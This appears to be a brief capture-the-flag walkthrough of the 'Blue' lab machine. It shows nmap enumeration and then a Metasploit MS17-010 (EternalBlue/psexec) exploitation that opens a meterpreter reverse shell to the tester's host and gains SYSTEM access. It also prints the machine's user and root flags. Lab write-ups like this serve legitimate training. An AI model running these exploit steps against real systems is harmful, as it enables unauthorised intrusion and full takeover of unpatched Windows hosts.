> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/easy-boxes/blue.md).
# Blue
very short walktrough.
Identify a system by TTL
```bash
└─$ ping -c 1 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=61.0 ms
```
looks like it is windows. lets start enumerate a target
```bash
# Nmap 7.94SVN scan initiated Tue Dec 19 14:04:49 2023 as: nmap -p 135,139,445,49152,49153,49154,49155,49156,49157 -sC -sV -T4 -Pn -oA out/root 10.10.10.40
Nmap scan report for 10.10.10.40
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-12-19T11:05:55+00:00
|_clock-skew: mean: 2s, deviation: 1s, median: 2s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-12-19T11:05:58
|_ start_date: 2023-12-19T10:49:46
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 19 14:06:01 2023 -- 1 IP address (1 host up) scanned in 72.18 seconds
```
we can see that target runs a old os, windows 7 professional. its famous with eternalblue vulnerability.
lets start a msfconsole, and exploit it.
```bash
msf6 > search exploit eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
```
lets use a second one, psexec.
setting up a options for exploit, and executing it.
```bash
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set lhost tun0
lhost => tun0
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > run
```
and boom! we got a shell, also as nt authority\system.
```bash
*] Started reverse TCP handler on 10.10.16.3:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.16.3:4444 -> 10.10.10.40:49158) at 2024-01-13 19:22:44 +0300
meterpreter > shell
Process 2868 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>id
id
'id' is not recognized as an internal or external command,
operable program or batch file.
C:\Windows\system32>whoami
whoami
nt authority\system
```
2 users on machine, Haris and Administrator.
```bash
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is BE92-053B
Directory of C:\Users
21/07/2017 06:56 .
21/07/2017 06:56 ..
21/07/2017 06:56 Administrator
14/07/2017 13:45 haris
12/04/2011 07:51 Public
0 File(s) 0 bytes
5 Dir(s) 2,428,919,808 bytes free
```
user.txt > haris/Desktop/
root.txt > Administrator/Desktop/
```bash
Volume in drive C has no label.
Volume Serial Number is BE92-053B
Directory of C:\Users\haris\Desktop
24/12/2017 02:23 .
24/12/2017 02:23 ..
13/01/2024 16:21 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 2,428,862,464 bytes free
C:\Users\haris\Desktop>type user.txt
type user.txt
7c1a6b742ff8acbbf21fa745119c8181
=============================================================
C:\Users\Administrator\Desktop>type root.txt
type root.txt
3ba7cd175a5d153019272c97b0f8e266
```
thats all.
